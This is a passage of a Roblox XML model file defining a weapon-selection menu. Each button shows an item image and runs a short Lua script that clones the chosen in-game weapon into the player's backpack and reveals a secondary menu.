							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M1897</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3723">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080004</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3724">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M1897:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3725">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M1Garand</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3726">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079966</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3727">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M1Garand:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3728">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Ruger</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3729">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122079887</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3730">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Ruger:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3731">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">M1928</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>425</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3732">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080021</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3733">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.M1928:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3734">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">MP5</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>550</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3735">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080062</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3736">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.MP5:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3737">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">MP7</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3738">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080076</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3739">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.MP7:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3740">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">P90</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3741">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080105</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3742">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.P90:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3743">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Sten</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>925</XO>
								<YS>0</YS>
								<YO>625</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3744">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=122080129</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3745">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Sten:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3746">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Bow</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>675</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3747">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126856749</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3748">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Bow:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3749">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Crossbow</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3750">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896544</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3751">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.Crossbow:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3752">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">PSG1</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>925</XO>
								<YS>0</YS>
								<YO>500</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">1</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
						<Item class="ImageLabel" referent="RBX3753">
							<Properties>
								<bool name="Active">false</bool>
								<Color3 name="BackgroundColor3">4288914085</Color3>
								<float name="BackgroundTransparency">1</float>
								<Color3 name="BorderColor3">4279970357</Color3>
								<int name="BorderSizePixel">1</int>
								<bool name="ClipsDescendants">false</bool>
								<bool name="Draggable">false</bool>
								<Content name="Image"><url>http://www.roblox.com/asset/?id=126896586</url></Content>
								<string name="Name">ImageLabel</string>
								<UDim2 name="Position">
									<XS>0</XS>
									<XO>0</XO>
									<YS>0</YS>
									<YO>0</YO>
								</UDim2>
								<UDim2 name="Size">
									<XS>0</XS>
									<XO>110</XO>
									<YS>0</YS>
									<YO>110</YO>
								</UDim2>
								<token name="SizeConstraint">0</token>
								<bool name="Visible">true</bool>
								<int name="ZIndex">1</int>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX3754">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">local Player = script.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Down:connect(function()
local Weapon = game.Lighting.PSG1:Clone()
Weapon.Parent = Player.Backpack
script.Parent.Parent.Parent.Secondary.Visible = true
script.Parent.Parent:Remove()
end)</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="TextButton" referent="RBX3755">
						<Properties>
							<bool name="Active">true</bool>
							<bool name="AutoButtonColor">true</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<bool name="Modal">false</bool>
							<string name="Name">Blunderbuss</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>800</XO>
								<YS>0</YS>
								<YO>375</YO>
							</UDim2>
							<bool name="Selected">false</bool>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>110</XO>
								<YS>0</YS>
								<YO>110</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<string name="Text"></string>
							<Color3 name="TextColor3">4279970357</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
